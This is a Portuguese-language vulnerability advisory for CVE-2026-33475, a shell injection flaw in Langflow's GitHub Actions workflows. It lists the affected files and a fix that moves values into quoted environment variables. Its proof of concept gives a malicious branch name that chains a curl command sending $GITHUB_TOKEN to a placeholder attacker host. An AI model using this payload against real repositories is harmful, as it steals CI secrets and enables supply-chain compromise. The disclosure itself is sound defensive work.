CVE-2026-33475
Langflow GitHub Actions Shell Injection
- Publicado
- 24 de mar. de 2026
- Atualizado
- 25 de mar. de 2026
- Atribuindo CNA
- GitHub_M
- Evidência observada
- 5 de set. de 2026
CVSS primário
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NBaixo · próximos 30 dias
- Percentil
- 86,5%
- Data do modelo
- 21 de set. de 2026
EPSS é uma estimativa estatística, não uma certeza ou uma medida de impacto. Combine-o com CVSS, status KEV, exposição e seu ambiente.
Resumo
# Langflow — Injeção de Shell Remota Não Autenticada em Workflows do GitHub Actions O Langflow é uma ferramenta para construir e implantar agentes e workflows com tecnologia de IA. Existe uma vulnerabilidade de injeção de shell remota não autenticada em vários workflows do GitHub Actions no repositório do Langflow anteriores à versão 1.9.0. A interpolação não sanitizada de variáveis de contexto do GitHub (ex.: `${{ github.head_ref }}`) em etapas `run:` permite que atacantes injetem e executem comandos shell arbitrários por meio de um nome de branch malicioso ou título de pull request. Isso pode levar à exfiltração de segredos (ex.: `GITHUB_TOKEN`), manipulação de infraestrutura ou comprometimento da cadeia de suprimentos durante a execução de CI/CD. A versão 1.9.0 corrige a vulnerabilidade. --- ### Detalhes Vários workflows em `.github/workflows/` e `.github/actions/` referenciam variáveis de contexto do GitHub diretamente em comandos shell `run:`, como: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Ou: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Como `github.head_ref`, `github.event.pull_request.title` e `inputs.*` personalizados podem conter **valores controlados pelo usuário**, eles devem ser tratados como **entrada não confiável**. A interpolação direta sem aspas adequadas ou sanitização leva à injeção de comandos shell. --- ### PoC 1. **Faça um fork** do repositório do Langflow 2. **Crie um novo branch** com o nome: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Abra um Pull Request** para o branch principal a partir do novo branch 4. O GitHub Actions executará o workflow afetado (ex.: `deploy-docs-draft.yml`) 5. A etapa `run:` contendo: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Executará: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. O atacante recebe o segredo de CI por meio da URL de exfiltração. --- ### Impacto - **Tipo:** Injeção de Shell / Execução Remota de Código em CI - **Escopo:** Qualquer fork público do Langflow com GitHub Actions habilitado - **Impacto:** Acesso total aos segredos de CI (ex.: `GITHUB_TOKEN`), possibilidade de enviar tags ou imagens maliciosas, adulterar releases ou vazar dados sensíveis de infraestrutura --- ### Correção Sugerida Refatore os workflows afetados para **usar variáveis de ambiente** e envolvê-las em **aspas duplas**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Evite a interpolação direta de `${{ ... }}` dentro de `run:` para qualquer valor controlado pelo usuário. --- ### Arquivos Afetados (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Uso responsável
Use informações de vulnerabilidade apenas em sistemas que você possui ou está autorizado a testar. O Kitploit vincula-se a metadados de pesquisa pública e não armazena código de exploração ou cargas maliciosas.